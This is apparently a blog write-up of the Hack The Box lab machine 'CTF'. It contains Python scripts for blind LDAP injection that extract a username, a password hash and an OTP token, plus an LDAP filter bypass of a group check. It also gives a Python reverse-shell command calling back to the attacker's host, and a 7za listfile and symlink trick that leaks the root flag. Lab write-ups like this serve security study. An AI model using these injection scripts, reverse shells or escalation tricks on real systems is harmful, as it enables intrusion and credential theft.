jebidiah-anthony
write-ups and what not
HTB CTF (10.10.10.122) MACHINE WRITE-UP
TABLE OF CONTENTS
- PART 1 : Initial Recon
- PART 2 : Port Enumeration
- PART 3 : Generate User Shell
- PART 4 : Privilege Escalation (ldapuser -> root)
PART 1 : Initial Recon
nmap --min-rate 700 -p- -v 10.10.10.122
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -oN ctf.nmap -p22,80 -sC -sV -v 10.10.10.122
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: CTF
PART 2 : Port Enumeration
- Visit http://10.10.10.122
-
Landing Page:
NOTE(S):
- The site is protected against bruteforcing
- Automated tools are not an efficient option
-
/login.php:
- Page Source:
... <form action="/login.php" method="post"> <div class="form-group row"> <div class="col-sm-10"> </div> </div> <div class="form-group row"> <label for="inputUsername" class="col-sm-2 col-form-label">Username</label> <div class="col-sm-10"> <input type="text" class="form-control" id="inputUsename" name="inputUsername" placeholder="Username"> </div> </div> <div class="form-group row"> <label for="inputOTP" class="col-sm-2 col-form-label">OTP</label> <div class="col-sm-10"> <input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password"> <!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) --> <!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) --> </div> </div> <div class="form-group row"> <div class="col-sm-10"> <button type="submit" class="btn btn-primary name=" submit"="" value="Login">Login</button> </div> </div> </form> ...
NOTE(S):
- An error message pops up when guessing the
Username
input:- REQUEST:
inputUsername=test
- RESPONSE:
<div class="col-sm-10">User test not found</div>
- REQUEST:
- Maybe
submit"="
is a clue for possible injection- REQUEST:
inputUsername=%3D
- No error message popped up
- REQUEST:
!
,&
,*
,(
,)
,\
,|
,<
, and>
also doesn’t return an error message- These are special characters in LDAP
- Maybe these characters are being filtered out by /login.php
- A token string for the
OTP
is stored in a pre-existing attribute
- Page Source:
-
- Attempt exploitation using LDAP Injection:
- Try URL encoding the special characters:
- REQUEST:
inputUsername=%2A
- RESPONSE:
<div class="col-sm-10">Cannot login</div>
NOTE(S):
%2A
is a wildcard (*
) operator in hex- The error message,
Cannot login
, could mean it’s a “valid” username - URL encoded special characters are not being filtered out
- REQUEST:
- Extract an actual username:
import requests as r import urllib.parse as u username = "" char_list = "abcdefghijklmnopqrstuvwxyz0123456789" while True: for i in range(0, len(char_list)): ldap_injection = "%s%c*" % (username, char_list[i]) data = { "inputUsername": u.quote(ldap_injection) } req = r.post("http://10.10.10.122/login.php", data=data) if "Cannot login" in req.text: username = username + char_list[i] print(username) break if i == len(char_list) - 1 : break print("[x] THE USERNAME IS " + username)
- Run using
python3
:l ld lda ldap ldapu ldapus ldapuse ldapuser [x] THE USERNAME IS ldapuser
NOTE(S):
- Blind injection has yielded a result
- An actual username has been extracted –
ldapuser
- Run using
- Find available LDAP attributes:
import requests as r import urllib.parse as u attribute_list = open("/usr/share/wordlists/ldap_attribute_names.txt", "r") attributes = [] for i in attribute_list: ldap_injection = "ldapuser))(&(%s=*" % (i[:-1]) data = { "inputUsername": u.quote(ldap_injection) } req = r.post("http://10.10.10.122/login.php", data=data) if "Cannot login" in req.text: print(ldap_injection) attributes.append(i[:-1]) attribute_list.close()
- Run using
python3
:ldapuser))(&(cn=* ldapuser))(&(commonName=* ldapuser))(&(gidNumber=* ldapuser))(&(homeDirectory=* ldapuser))(&(loginShell=* ldapuser))(&(mail=* ldapuser))(&(name=* ldapuser))(&(objectClass=* ldapuser))(&(pager=* ldapuser))(&(shadowLastChange=* ldapuser))(&(shadowMax=* ldapuser))(&(shadowMin=* ldapuser))(&(shadowWarning=* ldapuser))(&(sn=* ldapuser))(&(surname=* ldapuser))(&(uid=* ldapuser))(&(uidNumber=* ldapuser))(&(userPassword=*
NOTE(S):
ldap_attribute_list.txt
was copied from ldap-brute from GitHubuserPassword
,pager
, andobjectClass
might be of interest
- Run using
- Find the attribute with the token string:
userPassword
:import requests as r import urllib.parse as u token = "" while True: if len(token) % 3 == 0 : attribute_value = bytes.fromhex(str(token.replace("\\", ""))).decode('utf-8') print(attribute_value) token += "\\" if len(attribute_value[19:])==86: break for x in range(15,-1,-1): if len(attribute_value[19:])==85 and len(token) % 3 == 2 : if x==0: token = token + "0" payload = "ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=" ldap_injection = payload + "%s%cf" % (token, hex(x)[-1]) if ldap_injection[-3:] == "0ff": hex_val = "0x" + ldap_injection[-6:-4] token = token[:-4] + hex(int(hex_val, 16) + 1)[-2:] + "\\" ldap_injection = payload + "%s%cf" % (token, hex(x)[-1]) data = { "inputUsername": u.quote(ldap_injection) } req = r.post("http://10.10.10.122/login.php", data=data) if x==0 and len(token) % 3 == 2 : token = token[:-1] + str(int(token[-1]) - 1) + "0" elif "Cannot login" not in req.text: if len(token) % 3 == 2 : token = token + hex(x)[-1] else: token = token + hex(x+1)[-1] break
- Run using
python3
:{ {c {cr {cry {cryp {crypt {crypt| {crypt}# {crypt}$5 ... {crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G- {crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G. ... {crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi23 {crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi245 {crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi246 {crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi2460
NOTE(S):
- The
userPassword
attribute is a bit special:- According to Microsoft,
userPassword
has an Object(Replica-Link) syntax - Object(Replica-Link) has an OID 2.5.5.10 which is an Octet String
- Octet Strings has a different set of operations:
Octet string matching rules are very simple rules that perform byte-by-byte comparisons of octet string values. All capitalization and spacing is considered significant.
ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=
octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit comparison (in big endian ordering) of two octet string values until a difference is found. The first case in which a zero bit is found in one value but a one bit is found in another will cause the value with the zero bit to be considered less than the value with the one bit.
- This means that a simple wildcard (
*
) comparison won’t do
- According to Microsoft,
- A sha512crypt hash was extracted –
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi2460
- This seems to be a RABBIT HOLE
- Run using
pager
import requests as r import urllib.parse as u token = "" while( len(token)!=81 ): for i in range(0,10): ldap_injection = "ldapuser))(&(pager=%s%d*" % (token, i) data = { "inputUsername": u.quote(ldap_injection) } req = r.post("http://10.10.10.122/login.php", data=data) if "Cannot login" in req.text: token = token + str(i) print(token) break print("[x] THE TOKEN IS " + token)
- Run using
python3
:2 28 285 2854 28544 285449 2854494 28544949 285449490 2854494900 ... 28544949001135715653165154565233557071316741144572714 285449490011357156531651545652335570713167411445727140 2854494900113571565316515456523355707131674114457271406 28544949001135715653165154565233557071316741144572714060 285449490011357156531651545652335570713167411445727140604 2854494900113571565316515456523355707131674114457271406041 ... 28544949001135715653165154565233557071316741144572714060417214145671110271671700 285449490011357156531651545652335570713167411445727140604172141456711102716717000 [x] THE TOKEN IS 285449490011357156531651545652335570713167411445727140604172141456711102716717000
NOTE(S):
- The
pager
attribute seems to contain the token string - The token string is
285449490011357156531651545652335570713167411445727140604172141456711102716717000
- This token is called a Pure Numeric CTF (Compressed Token Format) string
- Run using
- Try URL encoding the special characters:
- Login using the information found:
- Generate an OTP using the token string:
stoken import --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000 # Enter new password: # Confirm new password: stoken tokencode # Enter PIN: # PIN must be 4-8 digits. Use '0000' for no PIN. # Enter PIN: 0000 # 83502926
NOTE(S):
stoken
can be used to generate OTPs based on a token string- OTPs expire over a brief period of time
- Click here to view the manual for the
stoken
command
-
Login using the credentials found/generated (ldapuser:83502926)
-
Landing Page: /page.php
- Page Source:
... <form action="/page.php" method="post" > <div class="form-group row"> <div class="col-sm-12"> </div> </div> <div class="form-group row"> <label for="inputCmd" class="col-sm-2 col-form-label">Cmd</label> <div class="col-sm-10"> <input type="text" class="form-control" id="inputCmd" name="inputCmd" placeholder="Command to issue"> </div> </div> <div class="form-group row"> <label for="inputOTP" class="col-sm-2 col-form-label">OTP</label> <div class="col-sm-10"> <input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password"> <!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) --> </div> </div> <div class="form-group row"> <div class="col-sm-10"> <button type="submit" class="btn btn-primary name="submit" value="Submit">Submit</button> </div> </div> </form> ...
NOTE(S):
- An error message pops up when fuzzing the
inputCmd
’s input:- REQUEST:
inputCmd=test
- RESPONSE:
<div class="col-sm-10">User must be member of root or adm group and have a registered token to issue commands on this server</div>
- REQUEST:
- There was a
gidNumber
attribute when I was bruteforcing used attributes.root
andadm
has group numbers 0 and 4 respectively- Maybe
ldapuser
’s group number could be added to the check done by /page.php - Maybe the group restriction could be bypassed by passing an LDAP injection as a username.
- Page Source:
-
- Login again with an injected LDAP payload:
-
Credentials for /login.php:
USERNAME PASSWORD ldapuser%29%29%28%7C%28gidNumber%3A2.5.13.14%3A%3D1000 Generate an OTP using stoken
NOTE(S):
- PLAINTEXT:
ldapuser))(|(gidNumber:2.5.13.14:=1000
- system users have group numbers starting from 1000
- Run using
python3
:import requests as r import urllib.parse as u for i in range(1000, 1050): ldap_injection = "ldapuser))(|(gidNumber:2.5.13.14:=%d" % (i) data = { "inputUsername": u.quote(ldap_injection) } req = r.post("http://10.10.10.122/login.php", data=data) if "Cannot login" in req.text: break print("[x] ldapuser's gidNumber : " + str(i))
[x] ldapuser's gidNumber : 1000
- Run using
- An OR statement to include
ldapuser
’s group number to the check was added gidNumber:2.5.13.14:=1000
- According to Microsoft,
gidNumber
has an Enumeration Syntax - Enumeration has the ability to use Matching Rules
Integer Matching ... integerMatch (OID 2.5.13.14): An equality matching rule that will consider two integer values equivalent if they represent the same number.
- According to Microsoft,
- The group restriction no longer applies
- PLAINTEXT:
-
- Generate an OTP using the token string:
PART 3 : Generate User Shell
- Generate a reverse shell:
- Local terminal:
nc -lvp 4444
-
/page.php:
inputCmd inputOTP python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Generate an OTP using stoken
- While inside the shell:
id # uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0 cat /etc/passwd | grep bash # root:x:0:0:root:/root:/bin/bash # ldapuser:x:1000:1000::/home/ldapuser:/bin/bash ls -lah # ... # -rw-r-----. 1 root apache 5.0K Oct 23 2018 login.php # -rw-r-----. 1 root apache 68 Oct 23 2018 logout.php # -rw-r-----. 1 root apache 5.2K Oct 23 2018 page.php # ... cat login.php # ... # $username = 'ldapuser'; # $password = 'e398e27d5c4ad45086fe431120932a01'; # ...
- Local terminal:
- Login as
ldapuser
viassh
:ssh -l ldapuser 10.10.10.122 ldapuser@10.10.10.122's password: e398e27d5c4ad45086fe431120932a01
ldapuser
shell:id # uid=1000(ldapuser) gid=1000(ldapuser) groups=1000(ldapuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 cat user.txt # 74a8e86f3f6ecd8010a660cfb44ee585
PART 4 : Privilege Escalation (ldapuser -> root)
- Enumerate the system using
ldapuser
shell:ls -lah / # ... # drwxr-xr-x. 2 root root 4.0K Jun 18 20:16 backup # ... ls -lah /backup # ... # -rw-r--r--. 1 root root 32 Jun 18 20:13 backup.1560881581.zip # -rw-r--r--. 1 root root 32 Jun 18 20:14 backup.1560881641.zip # -rw-r--r--. 1 root root 32 Jun 18 20:15 backup.1560881701.zip # -rw-r--r--. 1 root root 32 Jun 18 20:16 backup.1560881761.zip # -rw-r--r--. 1 root root 32 Jun 18 20:17 backup.1560881821.zip # -rw-r--r--. 1 root root 0 Jun 18 20:17 error.log # -rwxr--r--. 1 root root 975 Oct 23 2018 honeypot.sh
NOTE(S):
- There is a script named
honeypot.sh
- backup files seem to be generated every minute
- There is a script named
- Check what
honeypot.sh
does:# get banned ips from fail2ban jails and update banned.txt # banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds) /usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt # awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt # some vars in order to be sure that backups are protected now=$(date +"%s") filename="backup.$now" pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}') # keep only last 10 backups cd /backup ls -1t *.zip | tail -n +11 | xargs rm -f # get the files from the honeypot and backup 'em all cd /var/www/html/uploads 7za a /backup/$filename.zip -t7z -snl -p$pass -- * # cleaup the honeypot rm -rf -- * # comment the next line to get errors for debugging truncate -s 0 /backup/error.log
NOTE(S):
ls -1t *.zip | tail -n +11 | xargs rm -f
- Keeps a maximum of 10 most recent backups in
/backup
- Keeps a maximum of 10 most recent backups in
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
- Backs everything up in
/var/www/html/uploads
- The backups are password-protected
- Running
pspy
doesn’t show when7za
is called - The password might never be known to attackers
- Running
- The
--
switch protects7za
from wildcard injection
- Backs everything up in
rm -rf -- *
- Everything in
/var/www/html/uploads
are deleted after backup
- Everything in
truncate -s 0 /backup/error.log
- Errors generated (maybe) are deleted after everything
- Leverage
honeypot.sh
:- Check what
7za
can do:7za --help # ... # Usage: 7za <command> [<switches>...] <archive_name> [<file_names>...] [<@listfiles...>] # ... # <Switches> # -- : Stop switches parsing # ... # -snl : store symbolic links as links # ... # -t{Type} : Set type of archive # ...
NOTE(S):
- All switches after
--
will be ignored- wildcard injection is no longer a viable option
- But,
[<@listfiles...>]
could still be controlled@
references to alistfile
- A
listfile
contains one file per line - Using absolute paths are helpful
7za
will archive the files in thelistfile
- All switches after
- Leverage
7za
’s[<@listfiles...>]
:- Write to the
/var/www/html/uploads
directory:cd /var/www/html/uploads ls -la # ls: cannot open directory .: Permission denied ls -lah ../ # ... # drwxr-x--x. 2 apache apache 6 Oct 23 2018 uploads
NOTE(S):
- The reverse shell from earlier has a user
apache
- The permissions could be changed using /page.php
- The reverse shell from earlier has a user
-
Change
/var/.../uploads
’s permissions using /page.php:inputCmd inputOTP chmod 777 /var/www/html/uploads
Generate an OTP using stoken
- Create relevant files:
cd /var/www/html/uploads touch @list ln -s /root/root.txt list ls -lah # drwxrwxrwx. 2 apache apache 31 Jun 18 21:42 . # drwxr-xr-x. 6 root root 176 Oct 23 2018 .. # lrwxrwxrwx. 1 ldapuser ldapuser 14 Jun 18 21:42 list -> /root/root.txt # -rw-rw-r--. 1 ldapuser ldapuser 0 Jun 18 21:42 @list
NOTE(S):
- Since
list
is not a valid listfile, an error will be thrown - Attempt to capture
/backup/error.log
before contents are truncated byhoneypot.sh
- Since
- Capture contents of
/backup/error.log
:while ! [ -s /backup/error.log ]; do : ; done; cat /backup/error.log # # WARNING: No more files # fd6d2e53c995e6928cd0f040c79ba053 #
- Write to the
- Check what